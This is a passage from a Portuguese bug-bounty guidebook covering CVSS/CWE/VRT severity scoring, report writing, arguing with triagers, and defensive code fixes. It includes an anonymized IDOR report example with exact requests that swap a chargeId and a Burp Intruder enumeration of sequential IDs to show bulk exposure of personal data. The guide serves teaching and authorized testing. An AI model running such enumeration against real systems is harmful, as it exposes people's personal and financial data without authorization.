> **Por que o número v4.0 muda (e por que algumas linhas ficaram em aberto):** a v4.0 separa o impacto no **sistema vulnerável** (`VC/VI/VA`) do impacto em **sistemas subsequentes** (`SC/SI/SA`) — não existe mais o `Scope` . Por isso o RCE que dava 9.8 vira **9.3**: o estrago fica contido (`SC:N/SI:N/SA:N`). Os três vetores acima são os **exemplos oficiais do FIRST** (CVSS v4.0 examples): o RCE é o vetor do **Log4Shell** (CVE-2021-44228, **9.3**); o "IDOR sem login" usa o vetor do **Heartbleed** (CVE-2014-0160, **8.7**) por ser idêntico em forma (anônimo, só confidencialidade alta, sem impacto subsequente — daí o "~"); o XSS refletido é o vetor do **Zimbra** (CVE-2022-24682, **5.1**),

> em que o roubo de sessão cai no sistema subsequente (`SC:L/SI:L`). As linhas marcadas *(ver nota)* eu **não** preenchi: o único exemplo oficial de SQLi do FIRST é **autenticado** (PrestaShop, `PR:L` → 7.1), então ele não casa com este SQLi anônimo, e não há exemplo oficial de IDOR/enumeração em v4.0 — em vez de chutar um score, deixei o conceito. (Detalhe da v4.0: quando a métrica de ameaça `E` fica em "Not Defined", a spec assume o pior caso, então o **CVSS-B já equivale ao número com** `E:A` que aparece nos exemplos do FIRST.) Recalcule sempre na calculadora oficial v4.0.

Repara no par de IDORs: **a mesma falha** vira **6.5** ou **7.5** (v3.1) só por causa do `PR` (precisa login ou não). Essa única letra pode ser a diferença entre Medium e High — e é exatamente o tipo de coisa que você **argumenta** na triagem.

Como argumentar impacto quando o triador questiona

Triador rebaixou ou marcou como informativo? Isso é **normal** e muitas vezes **reversível**. O caminho que funciona, na ordem:

1. Confirme que está no escopo. Antes de qualquer briga, releia o brief. Se a falha está listada como fora de escopo, não há o que argumentar — você não vai ganhar. Se **não** está listada como exclusão, ela é elegível, e isso é seu primeiro ponto.

2. Reframe o impacto — suba uma camada. Não descreva o **sintoma**, descreva a **consequência de negócio**. Compare:

> "*Dá pra fazer muitas requisições sem bloqueio.*" "*A ausência de rate limit no endpoint de OTP permite força bruta do código de 6 dígitos (1M de combinações) em minutos, levando a account takeover — anexei o vetor e um PoC enumerando 10k tentativas sem bloqueio.*"

Mesma falha, impacto reposicionado de "chato" pra "ATO". Ferramentas pra **provar a escala** que sustenta o reframe: o **Burp Intruder** (enumerar IDs/tentativas e mostrar centenas de `200 OK` distintos) e um print do volume.

3. Mostre que a indústria paga isso — precedente público. Esse é o argumento mais forte. Linke **reports públicos da mesma classe que foram pagos** como prova de que o mercado trata aquilo como válido:

> "*Falhas equivalentes são consistentemente aceitas e recompensadas — vide estes reports públicos da HackerOne e a classificação-base P-X no VRT da Bugcrowd. Solicito reavaliação com base nesse precedente.*"

Esse combo — escopo confirmado + reframe de impacto + precedente público pago — **já reverteu rebaixamentos** de coisas que o triador tinha tratado como menores (rate limit é o exemplo clássico que vira bônus quando bem argumentado).

4. Seja técnico e cordial. Anexe o vetor CVSS e o CWE. Discuta a **letra específica** do vetor que você acha que está errada ("aqui o `PR` deveria ser `N`, porque o endpoint responde sem token — segue request"). Briga objetiva sobre o vetor você ganha; briga emocional você perde.

Duplicadas e informativos: o que são e como lidar

Dois desfechos que **todo** caçador vive — e que não significam fracasso:

Duplicada (duplicate): alguém reportou aquilo antes de você. Você não recebe (em geral), mas: - É **sinal de que você está no caminho certo** — achou algo real e relevante. - A lição é **achar primeiro** (velocidade no recon) ou **ir mais fundo** que as ferramentas pegam, no manual, onde duplica menos. - **Momento de menos duplicadas:** quando um programa **migra de plataforma** ou **atualiza o escopo** — superfície nova, menos gente já varreu. Fique de olho nessas notificações.

Informativo (informative): o programa reconhece o report, mas não o trata como vulnerabilidade que paga (por design, risco aceito, ou impacto insuficiente). Mas atenção: - Informativo **às vezes paga bônus.** Há casos de pesquisador que manteve o report aberto, foi paciente, e **meses depois** recebeu um bônus pela contribuição/persistência. **Não feche o report na bronca.** - Nem todo achado de scanner é vuln. Antes de reportar algo do **Nuclei**, por exemplo, **leia o template e entenda a CVE** — muita coisa "casa" mas não tem impacto real (e vira informativo na hora). Avaliar impacto antes de reportar é o que separa P5 de report bom.

> **Expectativa realista:** o caminho normal é **muito** report duplicado e informativo **antes** dos pagos. Isso não é você sendo ruim — é a curva. Quem entende severidade/impacto cedo encurta essa curva, porque para de reportar P5 e passa a empacotar bem os P1–P3.

Defesa em camadas: severidade vista do lado do dev

Entender severidade não serve só pra ganhar bounty — serve pra **defender melhor**, porque você prioriza a correção pelo risco real. Do lado do código, "reduzir severidade" é reduzir o impacto de cada métrica CVSS:

```
// Reduzindo o IMPACTO (C/I/A do CVSS) — minimização de dados:
// em vez de devolver o objeto inteiro, devolve só o necessário, mascarando PII.
return [
    'id'    => $cliente->id,
    'nome'  => $cliente->nome,
    'cpf'   => mask_cpf($cliente->cpf),   // <- transforma C:H em C:L no pior caso de
```

```
vazamento
];
```

```
# Reduzindo o ATTACK VECTOR / PRIVILEGES (AV/PR) — exigir autenticação e rede interna
# em endpoint sensível: o que seria PR:N (anônimo) vira PR:L, derrubando o score.
@require_auth                      # <- não-autenticado nem chega aqui
@require_internal_network          # <- AV:N vira AV:A (rede adjacente)
def relatorio_financeiro(request):
    ...
```

```
// Reduzindo AVAILABILITY (A) e barrando força-bruta — rate limit por identidade
// Mata a escala que faz um bug "Low" virar "Critical".
const limiter = rateLimit({ windowMs: 60_000, max: 5,           // 5 tentativas/min
  keyGenerator: (req) => req.user?.id ?? req.ip });             // <- por usuário, não
só IP
app.post('/api/otp/verify', limiter, verifyOtpHandler);
```

> **O que NÃO reduz severidade de verdade:** esconder o endpoint (segurança por obscuridade — `AV` continua `N`), confiar em controle só no frontend, ou "documentar como risco aceito" sem o negócio realmente ter aceito. O score não cai porque você fingiu que o impacto não existe.

Ferramentas + labs legais

- **Calculadora CVSS v3.1 oficial (FIRST)** e **v4.0** — monte o vetor, copie o número. Use sempre; não calcule de cabeça.
- **VRT da Bugcrowd** + o **JSON de mapeamento CVSS no GitHub** — gabarito de prioridade e vetores prontos.
- **Site da MITRE CWE** — confirme o nome canônico antes de citar.
- **OWASP Risk Rating Methodology** — alternativa qualitativa (Likelihood × Impact) útil quando CVSS não encaixa.
- **Praticar classificação:** pegue um lab da PortSwigger Web Security Academy e, pra cada lab que resolver, **escreva o vetor CVSS e o CWE** como exercício. Treinar classificação é tão importante quanto treinar exploração.

Checklist do caçador

- [ ] Identifiquei a **classe** e o **CWE** canônico (nome certo, link da MITRE).
- [ ] Montei o **vetor CVSS v3.1** e tirei o número na **calculadora oficial** (não de cabeça).
- [ ] Respondi as 3 dimensões de impacto: **sensibilidade**, **escala**, **pré-condições**.
- [ ] Conferi a categoria no **VRT** e ajustei a expectativa de prioridade (P1–P5) ao meu contexto.
- [ ] Provei **escala** com PoC (Intruder/contagem de respostas) quando aplicável.
- [ ] Confirmei que a falha **está no escopo** antes de reportar.

- [ ] No report, descrevi a **consequência de negócio**, não só o sintoma técnico.
- [ ] Tenho **precedente público** (reports pagos da mesma classe) guardado pra argumentar se rebaixarem.

Pegadinhas / o que NÃO funciona

- **Inflar o CVSS na marra.** Marcar `C:H/I:H/A:H` num bug que só lê um dado público não cola — o triador refaz o vetor e perde a confiança no resto do report.
- **Confundir esforço com impacto.** "Levei 3 dias" não é argumento de severidade. Consequência é.
- **Esquecer o `Scope`.** `S:C` muda o cálculo (e o peso do `PR`). XSS quase sempre é `S:C`; muita gente erra pra `S:U` e subestima.
- **Citar CWE errado/genérico demais.** `CWE-200` pra tudo é preguiça; use o específico (`CWE-639` pra IDOR, `CWE-862` pra BFLA).
- **Fechar report informativo na hora.** Pode virar bônus depois. Paciência é estratégia.
- **Achar que VRT é lei.** É **baseline**. Contexto (escopo do brief, impacto incomum) pode mudar a prioridade — pros dois lados.

O que você precisa lembrar

- **Bounty paga impacto, não esforço.** Sensibilidade × escala × pré-condições.
- **CVSS** = termômetro (número); o **vetor** vale mais que o score porque mostra o raciocínio. Domine v3.1, saiba traduzir pra v4.0.
- **CWE** = diagnóstico (nome da fraqueza); cite o canônico, linkado.
- **VRT** = gabarito de prioridade P1–P5; leia **antes** de reportar pra prever a classificação.
- **Triagem é negociação técnica:** escopo + reframe de impacto + precedente público pago revertem rebaixamento.
- **Duplicada** = caminho certo, vai mais fundo; **informativo** = não desista, pode virar bônus.

> **Dica de ouro:** antes de apertar "enviar", releia o report fingindo ser o triador cansado da centésima submissão do dia. Se em 15 segundos ele consegue ver **a classe (CWE), a gravidade (vetor CVSS) e a consequência de negócio com escala**, você escreveu na língua do programa — e essa é a língua que paga.

Nota ética

Classificar severidade é ferramenta de **comunicação responsável** com programas autorizados — bug bounty no escopo, pentests contratados e labs legais. Argumentar impacto **nunca** justifica testar mais fundo do que o escopo permite só pra "inflar" o CVSS

(ex.: dumpar um banco inteiro de PII real pra "provar escala" — uma amostra mínima basta). Prove o necessário, pare no mínimo viável, e reporte pra **proteger**, não pra exibir estrago.

Referências

- FIRST — CVSS v3.1 Specification Document
- FIRST — CVSS v4.0 Specification Document · Calculadora v3.1 · Calculadora v4.0
- Bugcrowd — Vulnerability Rating Taxonomy (VRT) · VRT no GitHub (com mapeamento CVSS)
- MITRE — CWE List · CWE-639 · CWE-862 · CWE-200
- OWASP — Risk Rating Methodology
- reddelexc/hackerone-reports — reports públicos por tipo (precedente)

Como Escrever um Report que Paga: do título à defesa do impacto

Achar o bug é metade do trabalho

Você passou a madrugada no Burp, trocou um `id`, viu a fatura de outro cliente aparecer na tela e o coração disparou: **IDOR confirmado**. Aí você abre a plataforma, escreve três linhas — "*dá pra ver dados de outro usuário trocando o id*" — anexa um print borrado e manda. Duas semanas depois volta um `Need More Info` ou, pior, um `Informative`. Zero bounty.

> **IDOR**: falha de autorização em que você troca um identificador (ex.: `id`) e acessa o objeto de outro usuário. Detalhe no Glossário.

Acontece o tempo todo. O bug era real, mas o **report** não estava. Bug bounty é um jogo de comunicação tanto quanto de técnica: do outro lado tem um **triador** que recebe dezenas de reports por dia, não conhece a sua aplicação tão bem quanto o time de produto, e precisa **reproduzir, validar e classificar** o seu achado no menor tempo possível. Se ele não conseguir reproduzir em poucos minutos, ou não entender o impacto no negócio, o seu report perde prioridade — ou cai pra `Informative`.

> **Analogia:** achar o bug é como pescar um peixe enorme. O report é como você apresenta o peixe na balança. Se chegar com o peixe escondido num saco molhado e disser "confia, é grande", ninguém paga. Você precisa pôr na balança, fotografar e mostrar o número.

Este capítulo é o manual do "peixe na balança": a estrutura que faz um report ser **aceito de primeira**, o que separa report pago de report rejeitado, e — a parte que ninguém ensina — **como defender o impacto** quando o triador questiona. No fim tem um exemplo completo, anonimizado, que você pode usar de molde.

O que é um "bom report" (e por que isso importa)

Um report é o documento que **transfere a sua certeza para a cabeça do triador**. Você tem 100% de certeza que o bug existe — você viu. O triador tem 0%. O report é a ponte. Se a ponte tiver buracos (passo faltando, print ilegível, impacto vago), a certeza não atravessa.

A própria HackerOne descreve um report de qualidade como aquele que tem **título claro e conciso**, **passos detalhados de reprodução** com screenshots ou trechos de código, e que **explica por que o problema importa**. A Bugcrowd recomenda organizar a descrição em quatro blocos: **Overview** (resumo), **Walkthrough and POC** (como reproduzir), **Vulnerability Evidence** (evidências) e **Demonstrated Impact** (risco e impacto). É o mesmo esqueleto em todas as plataformas.

> **Analogia:** pense no report como uma **receita de bolo**. Se a receita diz "misture os ingredientes e asse", ninguém replica. Se diz "150g de farinha, 2 ovos, 180°C por 40 minutos", qualquer um faz o mesmo bolo. O triador precisa fazer o **seu** bolo seguindo a **sua** receita — sem adivinhar nenhuma quantidade.

Por que um report bom paga mais (e mais rápido)

Não é só sobre "ser aceito" — a qualidade do report mexe direto no bolso:

- **Triagem mais rápida = menos chance de duplicado.** Em programas movimentados, o primeiro report **válido e reproduzível** de um bug leva o bounty; os seguintes viram `Duplicate`. Um report confuso fica parado em `Need More Info` enquanto outro pesquisador manda o mesmo bug bem-feito e leva a grana.
- **Impacto bem demonstrado puxa a severidade pra cima.** O mesmo IDOR pode ser classificado como `Médio` ("dá pra ver um dado de outro usuário") ou `Crítico` ("vaza PII de toda a base, violando a LGPD"). *(PII = dado pessoal identificável: nome, CPF, e-mail, telefone — ver Glossário.)* A diferença entre esses dois é **quase só o report** — quem mostra escala e nomeia o dado sensível recebe a faixa de cima.
- **Boa reputação destrava convites privados.** Reports limpos elevam seu *signal* na plataforma; signal alto traz convites pra programas privados, que pagam mais e têm menos concorrência.

Na prática, falhas como IDOR/Broken Access Control pagam de algumas **centenas** (impacto baixo, dado pouco sensível) a **dezenas de milhares** (PII em escala, ação crítica). E aqui vai a regra de ouro do dinheiro:

> **O bounty segue o impacto, e o report é quem prova o impacto.** Dois pesquisadores acham o mesmo bug; quem **provou** o impacto maior leva mais.

Como funciona por trás: o caminho do report na triagem

Entender o que o triador faz com o seu report ajuda a escrevê-lo. O fluxo típico é:

```
Você envia  →  Triador lê o TÍTULO        (decide prioridade inicial)
            →  lê o RESUMO                (entende o risco ao negócio)
            →  segue os PASSOS            (tenta REPRODUZIR — passo crítico)
            →  confere as EVIDÊNCIAS       (bate com o que ele viu?)
            →  avalia o IMPACTO            (define a SEVERIDADE / bounty)
            →  classifica: Triaged / Need More Info / Informative / Duplicate / N/A
```

O **ponto de falha mais comum** é o "tenta reproduzir". Se nesse passo faltar uma informação (um header, qual conta usar, o valor exato do parâmetro), o triador **não consegue reproduzir** e devolve `Need More Info` — e cada ida e volta atrasa dias e esfria o

report. Por isso a parte de passos é a mais importante de todas: ela tem que ser à prova de ambiguidade.

A estrutura do report "que não gera questionamento"

Esta é a estrutura testada — derivada de dezenas de reports aceitos e dos guias oficiais. Cada plataforma tem campos diferentes, mas **estes blocos nunca podem faltar**.

1. Título — `[Classe] - Nome curto e direto`

O título é a primeira (e às vezes única) coisa que o triador lê antes de priorizar. Fórmula:

```
[Classe] - O que dá pra fazer + onde

Exemplos:
[IDOR] - Exposição de faturas e NFS-e (PII) via troca de chargeId
[BFLA] - Usuário comum bloqueia loja de terceiros no /api/admin/store/block
[SQLi] - Injeção time-based no parâmetro `search` do /api/v1/produtos
```

- **Classe entre colchetes**: IDOR, XSS, SSRF, RCE, BFLA... ajuda o triador a rotear. *(BFLA = abuso de função restrita — ex.: usuário comum executa ação de admin; ver Glossário.)*
- **Concreto, não genérico**: "Exposição de faturas (PII)" é melhor que "Falha de segurança grave". O guia da Bugcrowd pede título **descritivo e conciso**, identificando tipo, local e impacto.

2. Resumo — o risco para o negócio (não a parte técnica)

Este é o erro nº 1 dos iniciantes: o resumo descreve a *mecânica* ("o endpoint não valida o dono do objeto") em vez do *risco* ("qualquer cliente autenticado lê os dados pessoais de todos os outros clientes"). O triador — e o gestor do programa que decide o bounty — pensa em **negócio**: dado vazado, dinheiro, reputação, conformidade legal.

```
RUIM:  "O endpoint charge-details aceita um chargeId arbitrário sem checar
        a sessão." (isso é mecânica, não impacto)

BOM:   "Qualquer cliente autenticado consegue ler faturas e notas fiscais
        — com nome completo, CPF e valores — de TODOS os outros clientes da
        plataforma, sem autorização. Vazamento de PII em massa, com violação
        direta da LGPD."
```

> **Analogia:** o resumo é a **manchete** do jornal. "Cano furou no porão" não vende. "Vazamento alaga 200 apartamentos do prédio" vende. Mesma água, manchete diferente.

3. Plataforma / Alvo e 4. Contexto

Diga **onde** (programa, domínio, app — ex.: `app.exemplo.com`) e **qual módulo/funcionalidade** é afetado e por quê. Contexto curto orienta o triador: "*Módulo Financeiro → Faturas, acessível a qualquer conta de cliente após login.*"

5. Criticidade / Severidade — justificada, não chutada

> **CVSS** (Common Vulnerability Scoring System): escala de 0–10 que quantifica o risco; vem com um vetor que descreve a falha (calculadora em first.org).

Não escreva só "Crítico". **Justifique** com um framework reconhecido, porque é isso que o programa usa pra calibrar bounty:

Ferramenta	Pra que serve	Link
CVSS v3.1	Score numérico (0–10) + vetor que descreve a falha	first.org/cvss/calculator/3.1
CWE	Classifica o *tipo* de fraqueza (ex.: CWE-639 = IDOR)	cwe.mitre.org
VRT (Bugcrowd)	Taxonomia que mapeia a classe → severidade que os programas usam	bugcrowd.com/vulnerability-rating-taxonomy
OWASP Risk Rating	Severidade = Probabilidade × Impacto, focado em appsec	owasp.org/.../OWASP_Risk_Rating_Methodology

Para o IDOR que expõe PII em massa, o vetor CVSS costuma ficar assim:

```
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N  →  6.5 (Médio)
# AV:N rede | AC:L fácil | PR:L precisa de login | C:H confidencialidade alta
# Se também ALTERA dado de terceiros, I:H sobe o score pra 8.1 (Alto).
# Se o vazamento cruza a fronteira de outra conta/tenant, dá pra argumentar S:C
# (Scope Changed) — o que também eleva o número.
```

> **Não infle.** Marcar tudo como `Crítico` queima sua credibilidade. Use o framework, mostre o vetor, deixe o número falar. Se ele der `Médio`, defenda o `Médio` — e **argumente** o que poderia subir (escala, dado sensível) na seção de impacto.

6. Como reproduzir — a parte mais importante

Passos numerados, escritos para que **qualquer pessoa** reproduza sem adivinhar nada. As regras:

1. **Comece do zero**: "criar 2 contas (A e B)", "logar com a Conta B", etc. Não assuma estado.
2. **Referencie a imagem dentro de cada passo** (`PRINT1`, `PRINT2`...). O triador lê o passo e olha o print correspondente — não um amontoado de prints no fim.
3. **Inclua o comando/request exato**, com o valor real usado (anonimizado no capítulo, mas concreto no report). Marque o ponto da manipulação.

```
1. Logar como Conta B (cliente comum) e ir em Financeiro > Faturas (PRINT1).
2. Abrir uma fatura própria e interceptar a request no Burp (PRINT2):
   GET /api/billing/statement/charge-details?chargeId=10051002
3. Enviar ao Repeater e trocar o chargeId pelo de outro cliente (PRINT3):
   chargeId=10051002  ->  chargeId=10051001   # <- único valor alterado
4. A resposta retorna a fatura de OUTRO cliente: nome, CPF e link da NFS-e (PRINT4).
```

> **Analogia:** passos são o **GPS turn-by-turn**, não o mapa inteiro jogado na mesa. "Vire à direita em 200m" — não "se vira aí".

7. Evidências (PoC) — prints e/ou vídeo, sempre legíveis

A Bugcrowd recomenda fortemente evidência ilustrativa, de preferência **vídeo de PoC**, ou screenshots no mínimo. Regras de print que paga:

- **Seja explícito no que cada print mostra** — legenda do tipo "*resposta exibindo CPF de cliente que NÃO é a conta logada*".
- **Circule/destaque** o ponto crítico (o `chargeId` trocado, o CPF que vazou).
- **Mostre o contexto** que prova que o dado não é seu: a conta logada no canto, o nome diferente na resposta.
- Para enumeração/escala, um **print do Burp Intruder** com várias respostas `200` de clientes distintos vale mais que mil palavras.

8. Impacto — nomeie o dado e mostre a escala

Repita o risco de negócio do resumo, agora **detalhado**: que dado exatamente vaza (sempre destaque **PII** — CPF, e-mail, telefone, endereço, dados financeiros), **quantas** contas dá pra afetar (escala), e o que um atacante consegue fazer com isso (fraude, engenharia social, ATO — *Account Takeover*, tomada de conta da vítima). É a seção que **define a faixa de bounty**.

Aceito vs. Rejeitado: a tabela que importa

O que faz ACEITAR	O que faz REJEITAR
Título `[Classe]` concreto	Título genérico ("vulnerabilidade encontrada")
Resumo em termos de **negócio/PII**	Resumo só técnico, sem impacto
Passos do zero, reproduzíveis	"É só trocar o id" sem dizer qual conta/valor
Request/comando exato + ponto marcado	Print único, borrado, sem contexto
Impacto com dado nomeado + escala	"Pode ser perigoso" (sem provar nada)
Severidade justificada (CVSS/CWE/VRT)	"Crítico" sem justificativa, ou inflado
Certeza total antes de enviar	Enviar "na dúvida, vai que cola"
Respeito ao **escopo** do programa	Reportar algo fora de escopo

A lição mais repetida por quem vive de triagem: **relatório bem feito + certeza absoluta da vulnerabilidade = aprovação rápida.** Tenha certeza antes de reportar; report no chute queima reputação.

Como DEFENDER o impacto quando o triador questiona

Vai acontecer: você manda um report sólido e o triador responde "*impacto baixo*", "*não vemos risco real*" ou rebaixa a severidade. Isso **não é o fim** — é uma negociação, e tem um roteiro que já reverteu downgrade:

1. **Confirme que NÃO está fora de escopo.** Releia a policy. Defender algo fora de escopo é perder tempo (e signal). Se está no escopo, siga.
2. **Escreva um argumento detalhado do impacto.** Não responda "discordo". Explique, em termos de negócio, o pior cenário realista: "*Com enumeração de IDs sequenciais, um atacante baixa a base inteira de PII; isso é vazamento de dados pessoais sob a LGPD, com risco de multa e dano reputacional.*"
3. **Mostre que a falha é aceita/paga por outras empresas.** Diga que essa classe é reconhecida e recompensada em vários programas — não é um caso de borda.
4. **Linke reports públicos da mesma classe já pagos (precedente).** Esse é o golpe de misericórdia. Repositórios como o reddelexc/hackerone-reports reúnem reports públicos por tipo de bug. Um link de um IDOR/PII pago num programa parecido tira o "é só teoria" da mesa.

> **Analogia:** é como contestar uma multa. Não adianta dizer "achei injusto". Você junta a foto, o artigo da lei e um caso anterior em que a mesma multa foi cancelada. **Evidência + precedente** ganha a discussão.

Dois aprendizados práticos sobre triagem que mudam o jogo:

- `Informative` **não é necessariamente o fim.** Há casos de **bônus pago meses depois** por persistência — vale manter o report aberto e acompanhar com educação. Falhas tidas como "fracas" (rate limit, por exemplo) já renderam bounty quando bem argumentadas e dentro do escopo.
- **Não junte achados distintos.** Um XSS em dois campos diferentes da mesma página = **dois reports**. Juntar pode fazer o programa pagar por um só. Já o mesmo bug em vários subdomínios = **um report** (juntar evita auto-duplicação).

Erros comuns que derrubam reports

1. **Resumo técnico em vez de risco de negócio** — o erro nº 1 (já cobrimos).
2. **Passos com buracos** — "logue e troque o id" sem dizer com qual conta nem qual valor.
3. **Print único e ilegível** — sem destacar o ponto, sem mostrar que o dado é de outra pessoa.
4. **Não provar escala** — mostrar 1 caso quando dava pra mostrar que afeta a base inteira (a escala é o que vira `Crítico`).
5. **Severidade inflada** — marcar `Crítico` sem vetor CVSS coerente queima credibilidade.
6. **Reportar sem ler o template/CVE** — nem todo achado de scanner é bug. Ferramentas como o Nuclei apontam coisas que, ao ler o que o template realmente faz, não têm impacto. **Entenda a CVE antes de reportar.**
7. **Reportar no chute** — sem ter 100% de certeza de que é reproduzível.
8. **Ignorar o escopo** — reportar ativo/classe fora de escopo, ou usar técnica proibida (ex.: automação pesada onde a policy proíbe).

Exemplo completo de report (fictício-realista, anonimizado)

> Cenário **fictício, baseado em padrões reais** de bug bounty. Domínios, IDs e dados são placeholders.

Título: `[IDOR] - Exposição de faturas e NFS-e (PII) via troca de chargeId no Financeiro`

Plataforma / Alvo: HackerOne · `app.exemplo.com`

Resumo (risco ao negócio): Qualquer cliente autenticado consegue ler as faturas e notas fiscais (NFS-e) de **todos** os outros clientes da plataforma — incluindo **nome completo, CPF e valores** — apenas trocando o parâmetro `chargeId` na request. Como os IDs são **sequenciais**, é possível enumerar e extrair a base inteira de PII. Vazamento de dados pessoais em massa, com violação direta da LGPD e risco de fraude/engenharia social contra os clientes.

Contexto: Módulo *Financeiro → Faturas*, disponível a qualquer conta de cliente após o login. O endpoint que carrega o detalhe da cobrança não valida se o `chargeId` solicitado pertence ao usuário da sessão.

Criticidade: Alto → Crítico - **CWE-639** — Authorization Bypass Through User-Controlled Key. - **CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N → 6.5 (Médio)** é o piso pela leitura de um único objeto. Como o acesso cruza a fronteira de **outras contas** (autorização de um componente expõe dado de outro), o vetor sobe pra **CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N → 7.7 (Alto)** com **S:C** (*Scope Changed*). - **Argumento de severidade:** somando a **escala** (base inteira via IDs sequenciais) e a **sensibilidade do dado** (CPF + financeiro, sob LGPD), o impacto de negócio é tratado como **Crítico** pela maioria dos programas — é o número que defendo na seção de impacto. - VRT (Bugcrowd): *Broken Access Control → IDOR → Sensitive Data Disclosure*.

Como reproduzir:

1. Criar/usar 2 contas de cliente comum (**Conta A** = vítima; **Conta B** = atacante). Logar como **Conta B** e ir em *Financeiro → Faturas* (**PRINT1**).
2. Abrir uma fatura própria e interceptar a request no Burp (**PRINT2**):

`http GET /api/billing/statement/charge-details?chargeId=10051002 HTTP/2 Host: app.exemplo.com Authorization: Bearer <token_da_Conta_B>`

1. Enviar ao **Repeater** e trocar **apenas** o `chargeId` pelo de uma cobrança da Conta A (**PRINT3**):

`http GET /api/billing/statement/charge-details?chargeId=10051001 HTTP/2 # <- único valor alterado Host: app.exemplo.com Authorization: Bearer <token_da_Conta_B>`

1. A resposta retorna a fatura da **Conta A**, com PII (**PRINT4**):

```http HTTP/2 200 OK Content-Type: application/json

{"chargeId":10051001,"customerName":"","cpf":"000.000.000-00", "invoiceUrl":"/files/nfse/10051001.pdf","amount":299.50} ```

1. **Provar escala:** no **Burp Intruder**, posição `Sniper` no `chargeId`, payload numérico `10050000–10052000`. Centenas de respostas `200 OK` com clientes distintos confirmam o **vazamento em massa** (**PRINT5**).

**Evidências (PoC):** - **PRINT1**: tela de Faturas logado como Conta B. - **PRINT2/PRINT3**: Repeater com o `chargeId` original e o trocado (destacado em vermelho). - **PRINT4**: resposta exibindo `customerName` / `cpf` que **não** são da conta logada. - **PRINT5**: Intruder com múltiplos `200` de clientes diferentes (prova de escala).

**Impacto:** Leitura não autorizada de faturas e NFS-e de **toda a base de clientes**: nome completo, **CPF**, valores e link de nota fiscal. Como o `chargeId` é sequencial, o vazamento é **automatizável e em massa**. Habilita fraude, engenharia social direcionada e configura tratamento irregular de dados pessoais sob a **LGPD**.
```

Severidade sugerida: Crítico. **Correção:** validar, no servidor, que o `chargeId` solicitado pertence ao usuário da sessão (autorização *object-level*).

Defesa em camadas (pro report ficar redondo — e pra você saber o que recomendar)

Um report bom também **aponta a correção**. A raiz do exemplo é falta de checagem de propriedade no servidor:

```
// ERRADO — confia no chargeId que veio do cliente, sem checar o dono
$fatura = Fatura::find($_GET['chargeId']);
return response()->json($fatura);   // entrega pra qualquer um autenticado

// CORRETO — só devolve se a cobrança for do usuário logado (object-level)
$fatura = Fatura::where('id', $request->chargeId)
                ->where('cliente_id', auth()->id())   // <- a checagem que faltava
                ->firstOrFail();                       // 404 se não for dono
```

```
// Node/Express — autorização por dono do objeto
const fatura = await Fatura.findOne({ _id: req.query.chargeId, clienteId:
req.user.id });
if (!fatura) return res.sendStatus(404);   // não vaza nem a existência do recurso
```

Princípios que matam a classe inteira: **deny by default**, **nunca confiar em identificador vindo do cliente** pra decidir autorização, **IDs imprevisíveis** (UUID v4) como reforço — mas que **não substituem** a checagem de dono — e **teste de autorização no CI** ("Conta B não acessa objeto de Conta A"). (A fundo no capítulo de Broken Access Control.)

Ferramentas que ajudam a montar o report

- **Burp Suite** — Repeater (mostrar a troca), Intruder (provar escala), e o próprio histórico pra extrair a request exata.
- **CVSS Calculator (FIRST.org)** — gera o vetor e o score pra justificar a severidade: first.org/cvss/calculator/3.1.
- **VRT da Bugcrowd** — mapeia a classe → severidade esperada: bugcrowd.com/vulnerability-rating-taxonomy.
- **Gravador de tela** (OBS, asciinema pra CLI) — vídeo de PoC é o que mais convence em casos complexos.
- **Editor de imagem** (Flameshot, Greenshot) — pra circular/anotar prints. Print sem destaque é metade do print.

Checklist do report que paga

- [ ] Título `[Classe] - o que dá pra fazer + onde`, concreto.
- [ ] Resumo em termos de **negócio/PII**, não de mecânica.
- [ ] Plataforma, alvo e **contexto** (módulo afetado) ditos.

- [ ] Severidade **justificada** com CVSS + CWE (+ VRT).
- [ ] Passos numerados, **do zero**, qualquer um reproduz.
- [ ] **Request/comando exato** com o ponto da manipulação marcado.
- [ ] Cada passo **referencia o print** correspondente (PRINT1, PRINT2...).
- [ ] Prints **legíveis, destacados** e que provam que o dado é de outra pessoa.
- [ ] **Escala** demonstrada (Intruder / enumeração) quando aplicável.
- [ ] Impacto com **dado nomeado** (PII) e o que o atacante faz.
- [ ] Sugestão de **correção** incluída.
- [ ] Conferi o **escopo** e tenho **certeza** de que reproduz.

O que você precisa lembrar

- O report **transfere a sua certeza** pro triador — sem buracos, ele reproduz e paga.
- **Resumo = risco ao negócio** (PII, dinheiro, LGPD); mecânica fica nos passos.
- **Passos reproduzíveis do zero + prints destacados** é o que mais derruba ou aprova report.
- **Impacto + escala** definem o bounty; nomeie o dado e mostre quantas contas afeta.
- Triador questionou? **Escopo → argumento → "é pago por outras empresas" → link de precedente.**

> **Dica de ouro:** escreva o report pensando "*um pesquisador que nunca viu essa aplicação consegue reproduzir só com o que está escrito aqui?*". Se a resposta é sim, o triador também consegue — e report que reproduz de primeira é report que paga.

Nota ética

Tudo aqui é pra **testes autorizados** — programas de bug bounty dentro do escopo, pentests contratados e labs legais. Ao reportar, **respeite a policy**, não exfiltre mais dado do que o necessário pra provar o bug (em PoC de PII, mascare CPF/dados nos prints) e pratique **disclosure responsável**: dê tempo pro programa corrigir antes de tornar público. Report existe pra proteger quem usa o sistema, não pra exibir acesso indevido.

Referências

- HackerOne — Quality Reports
- HackerOne — Report Templates
- Bugcrowd Docs — Reporting a Bug
- Bugcrowd — How to write excellent reports (LevelUp)
- Bugcrowd — Vulnerability Rating Taxonomy (VRT)
- FIRST.org — CVSS v3.1 Calculator
- MITRE — CWE-639: Authorization Bypass Through User-Controlled Key
- OWASP — Risk Rating Methodology

- reddelexc/hackerone-reports — reports públicos por tipo de bug

Parte 2 — Vulnerabilidades (do básico ao avançado)

Agora é a mão na massa. Cada capítulo abaixo é uma **classe de falha** — começa pela mais comum e fundamental (Broken Access Control) e escala até as mais avançadas (deserialização, prototype pollution, cloud). Todos seguem a mesma anatomia: o que é → impacto/bounty → como funciona por trás → recon → exploração passo a passo → caso prático → defesa em camadas → checklist. Leia na ordem ou pule pela classe que precisa; os capítulos se referenciam entre si por âncoras internas (ex.: SSRF chama Cloud, Open Redirect chama Account Takeover).

Broken Access Control na Prática: IDOR, BOLA e BFLA do Básico ao Avançado

Quando trocar um número vale R$5.000

Imagina que você acessa a sua fatura num app e a URL é mais ou menos assim:

```
GET /api/faturas/charge-details?chargeId=10051002
```

